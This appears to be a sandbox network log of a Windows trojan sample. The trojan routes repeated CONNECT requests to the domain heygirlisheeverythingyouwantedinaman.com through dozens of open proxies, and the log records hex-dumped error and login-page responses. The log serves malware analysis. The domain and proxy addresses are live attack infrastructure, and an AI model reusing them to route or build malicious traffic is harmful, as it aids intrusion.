Feb 23, 2024 14:28:27.481544971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.8	52407	110.12.211.140	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.481563091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.760899067 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.8	52525	51.75.126.150	64615	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.497899055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.8	52518	198.12.253.1	49878	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.540947914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.991770029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.491883039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.8	52481	162.253.68.97	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.540965080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.8	52484	170.106.193.128	30001	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.543277979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.8	52411	8.213.129.20	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.551840067 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:29.864326000 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.8	51985	102.130.125.86	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.551840067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.649209023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.785756111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.858782053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.650062084 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:39 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Feb 23, 2024 14:28:40.650070906 CET	294	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.8	52587	104.16.105.106	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.552617073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.641247988 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.8	52406	103.216.49.233	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.552618027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.901204109 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.8	52402	81.70.253.152	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.559123993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.8	52409	103.23.100.1	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.559439898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.8	51914	113.11.183.142	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.559719086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.8	52442	211.222.252.187	8197	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.559720039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.8	52531	88.79.243.103	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.570590019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.747486115 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 46 72 69 2c 20 32 33 20 46 65 62 20 32 30 32 34 20 31 33 3a 32 38 3a 32 37 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Fri, 23 Feb 2024 13:28:27 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.8	52511	146.59.2.185	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.570590019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.8	52436	58.234.116.197	8197	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.570669889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.8	52536	193.242.210.140	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.577109098 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:27.811099052 CET	1286	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:27 GMT Server: Apache X-Powered-By: PHP/5.3.3-7+squeeze17 Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Last-Modified: Fri, 23 Feb 2024 13:28:27 GMT Expires: Fri, 23 Feb 2024 13:28:27 GMT X-Content-Security-Policy: allow 'self'; frame-ancestors 'none' X-Frame-Options: DENY X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Length: 3042 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 44 65 66 61 75 6c 74 2d 53 74 79 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 0a 09 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6a 71 75 65 72 79 2d 75 69 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 68 74 6d 6c 35 73 68 69 76 2e 67 6f 6f 67 6c 65 63 6f 64 65 2e 63 6f 6d 2f 73 76 6e 2f 74 72 75 6e 6b 2f 68 74 6d 6c 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 0a 09 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 74 65 6d 70 6c 61 74 65 73 2f 46 72 6f 78 6c 6f 72 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 61 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 74 65 6d 70 6c 61 74 65 73 2f 46 72 6f 78 6c 6f 72 2f 63 73 73 2f 6d 61 69 6e 5f 69 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 6a 71 75 65 72 79 2e 6a 71 75 65 72 79 2d 75 69 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 74 65 6d 70 6c 61 74 65 73 2f 46 72 6f 78 6c 6f 72 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 74 65 6d 70 6c 61 74 65 73 2f 46 72 6f 78 6c 6f 72 2f 61 73 73 65 74 73 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 3c 74 69 74 6c Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta http-equiv="Default-Style" content="text/css" /><script type="text/javascript" src="js/jquery.min.js"></script><script type="text/javascript" src="js/jquery-ui.min.js"></script>...[if lt IE 9]><script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]--><link href="templates/Froxlor/assets/css/main.css" rel="stylesheet" type="text/css" />...[if IE]><link rel="stylesheet" href="templates/Froxlor/css/main_ie.css" type="text/css" /><![endif]--><link href="css/jquery.jquery-ui.css" rel="stylesheet" type="text/css"/><script type="text/javascript" src="templates/Froxlor/assets/js/main.js"></script><link href="templates/Froxlor/assets/img/favicon.ico" rel="icon" type="image/x-icon" /><titl
Feb 23, 2024 14:28:27.811155081 CET	1286	IN	Data Raw: 65 3e 46 72 6f 78 6c 6f 72 20 53 65 72 76 65 72 20 4d 61 6e 61 67 65 6d 65 6e 74 20 50 61 6e 65 6c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 Data Ascii: e>Froxlor Server Management Panel</title><style type="text/css">body { font-family: Verdana, Geneva, sans-serif;}</style></head><body><div class="loginpage"><article class="login bradius"><header class="dark">
Feb 23, 2024 14:28:27.811173916 CET	941	IN	Data Raw: 69 6f 6e 20 76 61 6c 75 65 3d 22 50 6f 72 74 75 67 75 26 61 6d 70 3b 65 63 69 72 63 3b 73 22 20 20 3e 50 6f 72 74 75 67 75 26 65 63 69 72 63 3b 73 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 52 75 73 73 69 61 6e 22 20 Data Ascii: ion value="Portugu&ecirc;s" >Português</option><option value="Russian" >Russian</option><option value="Danish" >Danish</option><option value="Italian" >Italian</option><option value="Bulgarian" >Bulgarian</option><option value="
Feb 23, 2024 14:28:27.811788082 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 9d 7b 5c 60 0a 91 7e e1 b3 4e b3 39 60 c0 44 10 d6 bf 0e 0b 3c fa dd 8f a9 f7 cd d6 ef cf 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e{\`~N9`D<*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#zExsEjEwvnkZwR:Q+cs
Feb 23, 2024 14:28:28.042881012 CET	1286	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta http-equiv="Default-Style" content="text/css" /><script type="text/javascript" src="js/jquery.min.js"></script><script type="text/javascript" src="js/jquery-ui.min.
Feb 23, 2024 14:28:28.042963982 CET	1286	IN	Data Raw: 65 64 22 3e 0a 09 09 09 09 3c 66 69 65 6c 64 73 65 74 3e 0a 09 09 09 09 3c 6c 65 67 65 6e 64 3e 46 72 6f 78 6c 6f 72 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 4c 6f 67 69 6e 3c 2f 6c 65 67 65 6e 64 3e 0a 09 09 09 09 3c 70 3e 0a 09 09 09 09 09 3c 6c Data Ascii: ed"><fieldset><legend>Froxlor - Login</legend><p><label for="loginname">Username:</label> <input type="text" name="loginname" id="loginname" value="" required/></p><p><label for="passwo
